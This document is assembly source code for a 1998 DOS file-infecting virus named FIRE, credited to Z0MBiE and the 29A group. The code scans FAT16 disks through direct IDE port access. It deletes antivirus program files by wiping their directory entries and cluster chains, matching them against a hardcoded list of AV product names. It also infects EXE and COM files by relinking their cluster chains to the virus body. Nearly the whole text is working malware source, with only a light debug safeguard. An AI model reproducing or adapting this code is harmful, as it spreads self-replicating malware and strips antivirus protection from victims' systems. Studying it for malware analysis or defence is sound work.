
;-----------------------------------------------------------------------------
; [FIRE]   FAT16 Independent Replicative Emulator   Copyright (c) 1998 Z0MBiE
; Release 1.00[BETA]   *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A ***
; Thanx to S.S.R. & LordASD              HomePage: http://www.chat.ru/~z0mbie
;-----------------------------------------------------------------------------
;
;                 THIS VIRUS TECHNOLOGY DEDICATED TO 29A GROUP
;
;                               *** Program ***
;
;   1. Using IDE IO-port access method find all physical IDE drives
;   2. For each physical drive find all logical disks with FAT16 system
;   3. For each logical disk scan directory tree with selected
;      max directory level
;   5. Delete all AV-files (by filemasks), including file name/cluster chain
;   6. Infect each EX?/CO? file (with selected min. size)
;
;                           *** Infection Method ***
;
;   1. Allocate some free cluster(s) in the FAT
;   2. FAT.LastOurCluster <- DirEntry.StartCluster
;   3. DirEntry.StartCluster <- 1stOurCluster
;

DEBUG                   equ     YES             ; debug mode

                        IFDEF   DEBUG
START_DRIVE             equ     'E'             ; start scanning
                        ELSE                    ; from logical drive
START_DRIVE             equ     'C'
                        ENDIF

virsize                 equ     16384           ; total virus size

o                       equ     (word ptr 0)    ; to access DWORDs
s                       equ     (word ptr 2)

exe_struc               struc                   ; dos exe header
exe_mz                  dw      ?               ; MZ/ZM
exe_last512             dw      ?
exe_num512              dw      ?
exe_relnum              dw      ?
exe_headersize          dw      ?               ; in PAR
exe_minmem              dw      ?
exe_maxmem              dw      ?
exe_ss                  dw      ?
exe_sp                  dw      ?
exe_checksum            dw      ?               ; 0
exe_ip                  dw      ?
exe_cs                  dw      ?
exe_relofs              dw      ?
exe_ovrnum              dw      ?               ; 0
                        db      32 dup (?)
exe_neptr               dd      ?
                        ends

                        model   tiny            ; header
                        p386
                        jumps
                        locals  __

code                    segment byte public use16;code segment
                        assume  cs:code, ds:code, ss:code, es:code

                        org     100h
start:
virus:                  db      'MZ'            ; lets generate .exe program
                        dw      0
                        dw      virsize / 512
                        dw      0
                        dw      0
                        dw      virmemory
                        dw      virmemory
                        dw      0fff0h
                        dw      exe_endofstack
                        dw      0
                        dw      exe_entrypoint
                        dw      0fff0h
                        dw      40h
                        dw      0
                        db      32 dup (0)
                        dd      0

C_INFECTED_ID           equ     1234h           ; infected file ID
infected_id             dw      C_INFECTED_ID

FTYPE                   db      ?

exe_entrypoint:         mov     ax, 1600h       ; windows :-?
                        int     2fh

                        or      al, al          ; dos
                        jz      DOS_START

                        cmp     al, 4           ; win95...
                        je      WIN4_START

                        ; win3, etc.

EXIT:                   mov     ax, 4c00h       ; exit to DOS
                        int     21h

WIN4_START:             jmp     EXIT            ; not implemented yet

win_msg                 db      'This program requires Microsoft Windows.',13,10,'$'

DOS_START:              mov     ah, 9           ; fucking message
                        lea     dx, win_msg
                        int     21h

                        IFDEF   DEBUG           ; initialize PUTCHAR
                        mov     cs:putchar_ptr, offset dos_putchar
                        ENDIF

                        call    dos_alloc       ; allocate memory (dos)
                        jc      EXIT

                        call    main            ; main subprogram

                        call    dos_dealloc     ; deallocate memory

                        jmp     EXIT            ; exit

main:                   mov     level0_drive, 0 ; scan HD: 0,1,2,3
__1:                    call    process_0
                        inc     level0_drive    ; bit0 = master/slave
                        cmp     level0_drive, 3 ; bit1 = primary/secondary
                        jbe     __1
                        ret

process_0:              call    level0_init     ; initialize hardware
                        jc      __exit

                        IFDEF   DEBUG           ; fucking message
                        movzx   ax, level0_drive
                        add     al, '0'
                        push    ax
                        call    printf
                        db      'Processing physical drive %c\n$'
                        ENDIF

                        call    level2_init     ; recursive scan for logical
                        jc      __exit          ; disks

                        mov     cx, START_DRIVE-'C'    ; start drive

__1:                    cmp     cx, level2_drivecount  ; cycle
                        jae     __exit
                        push    cx

                        IFDEF   DEBUG           ; fucking message
                        mov     ax, cx
                        add     al, 'C'
                        push    ax
                        call    printf
                        db      'Processing logical drive %c:\n$'
                        ENDIF

                        mov     level2_drive, cx  ; initialize "basesector"
                        call    level2_initdrive

                        call    level3_init       ; initialize level3-access
                        jc      __2

                        IFDEF   DEBUG           ; fucking message
                        call    printf
                        db      'Compatibility test done\n$'
                        ENDIF

                        call    rulez_forever   ; best subprogram in the world

__2:                    IFDEF   DEBUG           ; fucking message
                        call    printf
                        db      'Drive processed\n$'
                        ENDIF

                        pop     cx              ; end of cycle
                        inc     cx
                        jmp     __1

__exit:                 ret

; - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -

                        ; recursive scan directory tree

rulez_forever:          IFDEF   DEBUG           ; fucking message
                        call    printf
                        db      'Executing RULEZ_FOREVER\n$'
                        ENDIF

                        mov     _rec, 0         ; recurse level
                        mov     bp, ROOT        ; start from ROOT directory
                        call    process_dir

                        IFDEF   DEBUG           ; fucking message
                        call    printf
                        db      'RULEZ_FOREVER Executed\n$'
                        ENDIF

                        ret

                        ; this is recursive subprogram

process_dir:            IFDEF   DEBUG           ; fucking message
                        push    _rec
                        push    bp
                        call    printf
                        db      'Executing PROCESS_DIR [cluster %iw04h0], RECURSIVE %iw00d\n$'
                        ENDIF

                        call    __read          ; read directory cluster (bp)

                        lgs     si, dir_ptr     ; gs:si = directory cluster

                        mov     ecx, level3_sectpercluster  ; cx=#direntries
                        shl     cx, 4

__cycle:
                        ; check for valid filename

                        cmp     gs:[si].direntry_name, char_DELETED
                        je      __cont
                        cmp     gs:[si].direntry_name, char_NOFILE
                        je      __exit

                        ; check for AV filename, CF=1 - file is fucked
                        call    TRY_TO_FUCK_FILE
                        jc      __cont

                        ; zero-length file or directory link to ROOT
                        cmp     gs:[si].direntry_cluster, 0  ; zero-file
                        je      __cont

                        ; file attribute
                        mov     al, gs:[si].direntry_attr

                        test    al, fa_volumeid   ;  volumeid, long-filename
                        jnz     __cont

                        test    al, fa_directory  ; directory?
                        jnz     __directory

                        ; yes! file!

MINSIZE                 equ     1024
                        cmp     gs:[si].direntry_size, MINSIZE ; check size
                        jb      __cont

                        ; normal attributes?
                        test    al, not (fa_archive + fa_hidden + fa_system + fa_readonly)
                        jz      __file

__cont:                 add     si, 32    ; cycle
                        loop    __cycle

                        ; flush directory cluster if modified
                        call    TRY_TO_FLUSH_DIR_CACHE

                        ; root? - exit!
                        cmp     bp, ROOT
                        je      __exit

                        ; READ NEXT DIRECTORY CLUSTER

                        mov     bx, bp  ; get nextcluster value
                        call    level3_cluster_get

                        cmp     ax, EOF ; end of directory?
                        je      __exit

                        mov     bp, ax  ; process next dircluster
                        jmp     process_dir

__exit:                 ; flush directory cluster if modified
                        call    TRY_TO_FLUSH_DIR_CACHE

                        ret

__file:                 IFDEF   DEBUG           ; fucking message
                        push    word ptr gs:[si].direntry_cluster
                        push    gs
                        push    si
                        call    printf
                        db      '%s11  %iw04h0\n$'
                        ENDIF

                        ; get extension

                        mov     ax, word ptr gs:[si].direntry_ext

                        cmp     ax, 'XE'
                        je      __ext_ok
                        cmp     ax, 'OC'
                        je      __ext_ok

                        jmp     __cont

__ext_ok:               IFDEF   DEBUG           ; fucking message
                        call    printf
                        db      'Extension checked - OK\n$'
                        ENDIF

                        ; read 1st file cluster
                        pusha
                        mov     ax, gs:[si].direntry_cluster
                        mov     level3_cluster, ax
                        mov     level3_count, 1
                        push    buf_ptr
                        pop     level3_ptr
                        call    level3_read
                        popa

                        ; fs:bx = @file cluster
                        lfs     bx, buf_ptr

                        ; "INFECTED" id ?
                        cmp     word ptr fs:[bx + infected_id-virus], C_INFECTED_ID
                        je      __cont

                        ; determine com or exe file
                        cmp     fs:[bx].exe_mz, 'MZ'
                        je      __mz
                        cmp     fs:[bx].exe_mz, 'ZM'
                        je      __mz
                        mov     FTYPE, 'c'
                        jmp     __not_mz
__mz:                   mov     FTYPE, 'e'
__not_mz:

                        IFDEF   DEBUG  ; hehe... be curefull!
                        pusha
                        lea     si, fs:[bx].byte ptr 20h
                        lea     di, z0mbie_id
                        mov     cx, z0mbie_id_len
                        segfs
                        rep     cmpsb
                        popa
                        jne     __cont
                        ENDIF

__super_infect:         IFDEF   DEBUG           ; fucking message
                        call    printf
                        db      '*** Executing SUPER_INFECT ***\n$'
                        ENDIF

                        ; now infect fucking file...

                        pushad

                        ; calculate bytes per cluster
                        mov     eax, level3_sectpercluster
                        shl     eax, 9
                        mov     __cluster_size, eax

                        ; calculate # of clusters needed

                        xor     eax, eax
__rep:                  inc     eax

                        mov     ecx, eax
                        imul    ecx, __cluster_size

                        cmp     ecx, virsize
                        jb      __rep

                        mov     __clust_need, eax

                        ; increase file size

                        add     gs:[si].direntry_size, ecx

                     ;  lfs     bx, buf_ptr
                     ;  add     ecx, fs:[bx].exe_neptr
                     ;  mov     neptr, ecx

                        ; store dircluster
                        mov     bx, gs:[si].direntry_cluster
                        mov     __dircluster, bx

                        ; pointer to virus
                        mov     level3_ptr.o, offset virus
                        mov     level3_ptr.s, cs

                        ; NOW CREATE CLUSTER CHAIN

                        xor     bx, bx    ; no cluster

__next_cluster:         call    __find_free_cluster ; find free cluster
                        jc      __infected

                        mov     ax, __freecluster   ; write virus part
                        mov     level3_cluster, ax  ; to this cluster
                        mov     level3_count, 1
                        call    level3_write

                        mov     eax, __cluster_size ; increase virus pointer
                        shr     eax, 4              ; by cluster size
                        add     level3_ptr.s, ax

                        mov     ax, __freecluster

                        or      bx, bx
                        jnz     __not1st

                        mov     __1stcluster, ax    ; 1st cluster
                        mov     bx, ax              ; temporary init with EOF
                        mov     ax, EOF

__not1st:               call    level3_cluster_set  ; used to create links

                        mov     bx, __freecluster

                        dec     __clust_need        ; end of cycle
                        jnz     __next_cluster

                        mov     ax, __dircluster    ; set link to dircluster
                        call    level3_cluster_set

                        mov     ax, __1stcluster    ; set new dircluster
                        mov     gs:[si].direntry_cluster, ax

                        mov     CACHE_MODIFIED, 1   ; of coz cache now modified

__infected:             popad           ; thats all!!!
                        jmp     __cont

__1stcluster            dw      ?       ; some vars used in infection
__cluster_size          dd      ?
__clust_need            dd      ?
__dircluster            dw      ?
__freecluster           dw      ?

__find_free_cluster:    pushad          ; subprogram to find free cluster
                        mov     bx, 2   ; scan all clusters
__q:                    call    level3_cluster_get
                        or      ax, ax
                        jz      __found
                        inc     bx
                        cmp     bx, word ptr level3_totalclusters
                        jae     __no_free_cluster
                        jmp     __q
__found:                mov     __freecluster, bx
                        popad
                        clc    ; sucess
                        ret
__no_free_cluster:      popad
                        stc    ; mustdie
                        ret

                        ; if found directory

__directory:            IFDEF   DEBUG           ; fucking message
                        push    word ptr gs:[si].direntry_cluster
                        push    gs
                        push    si
                        call    printf
                        db      '%s11  %iw04h0%  <DIRECTORY>\n$'
                        ENDIF

                        ; '.' and '..' is sux
                        cmp     gs:[si].direntry_name, '.'
                        je      __cont

                        ; check for max recurse level
MAX_RECURSIVE           equ     5
                        cmp     _rec, MAX_RECURSIVE
                        jae     __cont

                        ; flush cache if modified
                        call    TRY_TO_FLUSH_DIR_CACHE

                        ; scan directory
                        pushad

                        inc     _rec

                        mov     bp, gs:[si].direntry_cluster
                        call    process_dir

                        dec     _rec

                        popad

                        ; read directory cluster (becoz its modified)
                        call    __read

                        IFDEF   DEBUG           ; fucking message
                        call    printf
                        db      'Back from recursive subprogram\n$'
                        ENDIF

                        jmp     __cont

                        ; read directory cluster

__read:                 mov     level3_cluster, bp
                        mov     level3_count, 1
                        push    dir_ptr
                        pop     level3_ptr
                        call    level3_read

                        mov     CACHE_MODIFIED, 0
                        ret

                        ; write directory cluster if modified

TRY_TO_FLUSH_DIR_CACHE: cmp     CACHE_MODIFIED, 0
                        je      __exit
                        mov     CACHE_MODIFIED, 0

                        mov     level3_cluster, bp
                        mov     level3_count, 1
                        push    dir_ptr
                        pop     level3_ptr
                        call    level3_write

__exit:                 ret

; ---------------------------------------------------------------------------

                        ; input:  GS:[SI]
                        ; output: CF=1 - file fucked

                        ; scan for AV-files

TRY_TO_FUCK_FILE:       pushad

                        ; hehe.. DRWEB 4.00!
                        cmp     gs:[si].direntry_time, 2000h  ; 4:00 am
                        je      __fuck_it

                        lea     di, fucked

__next_f:               pusha
                        xor     bx, bx
__next:                 mov     al, [bx+di]
                        cmp     al, '?'
                        je      __equ
                        mov     ah, gs:[si+bx]
                        cmp     ah, 'a'
                        jb      __cmp
                        cmp     ah, 'z'
                        ja      __cmp
                        add     ah, 'A'-'a'
__cmp:                  cmp     al, ah
                        jne     __rt
__equ:                  inc     bx
                        cmp     bx, 11
                        jb      __next
                        ; e
__rt:                   popa
                        je     __fuck_it

                        add     di, 11
                        cmp     di, offset fucked_end
                        jb      __next_f

                        popad

                        clc
                        ret

                        ; FUCK AV-file

__fuck_it:              mov     CACHE_MODIFIED, 1

                        mov     bx, gs:[si].direntry_cluster

                        ; kill namme
                        mov     di, si
                        mov     cx, 32
__1:                    mov     byte ptr gs:[di], 0
                        inc     di
                        loop    __1
                        mov     gs:[si].direntry_name, char_DELETED

                        or      bx, bx  ; zero-file
                        je      __eof

                        ; kill cluster links

__killnext:             call    level3_cluster_get

                        pusha
                        xor     ax, ax
                        call    level3_cluster_set
                        popa

                        cmp     ax, EOF
                        je      __eof

                        mov     bx, ax
                        jmp     __killnext

__eof:

                        popad

                        stc
                        ret

; ---------------------------------------------------------------------------

                        ; AV-files - KILL`EM ALL !!!

fucked:                 db      'ANTI???????'
                        db      'DRWEB??????'
                        db      'WEB?????EXE'
                        db      'AIDS???????'
                        db      'AVP????????'
                        db      'SCAN???????'
                        db      'ADIN???????'
                        db      'FPROT??????'
                        db      'TBAV???????'
                        db      'VIR????????'
                        db      '????????327'
                        db      '????????AVC'
                        db      '????????WEB'
                        db      '????????MS '
                        db      '????????CPS'
fucked_end:

; ---------------------------------------------------------------------------

                        IFDEF   DEBUG           ; dont kill your hd, baby...
z0mbie_id               db      'Z0MBiE#ID1234'
z0mbie_id_len           equ     $-z0mbie_id
                        ENDIF

; ---------------------------------------------------------------------------

                        ; never change it, sucker...

db 13,10
db '-----------------------------------------------------------------------------',13,10
db ' [FIRE]   FAT16 Independent Replicative Emulator   Copyright (c) 1998 Z0MBiE ',13,10
db ' Release 1.00[BETA]   *** NOT FOR [RE]PUBLISHING IN VX-ZINES, EXCEPT 29A *** ',13,10
db ' Thanx to S.S.R. & LordASD              HomePage: http://www.chat.ru/~z0mbie ',13,10
db '-----------------------------------------------------------------------------',13,10
db 13,10

; ---------------------------------------------------------------------------

include                 malloc.inc      ; <- dos memory allocation
include                 fatsys.inc      ; <- file system emulator

                        IFDEF   DEBUG   ; <- screen output routines
include                 stdio.inc
                        ENDIF

                        ; end of virus (EOV) mark
                        org     start+virsize-3
                        db      'EOV'
codeend:

; ---------------------------------------------------------------------------

datastart:
                        ; stack
                        even
                        db      1024 dup (?)
exe_endofstack:

                        ; variables
include                 FATSYS.VAR

_rec                    dw      ?       ; recurse level
CACHE_MODIFIED          db      ?       ; flag

                        ; thats all
dataend:
virmemory               equ     (dataend-datastart+15)/16

; ---------------------------------------------------------------------------

code                    ends
                        end     start

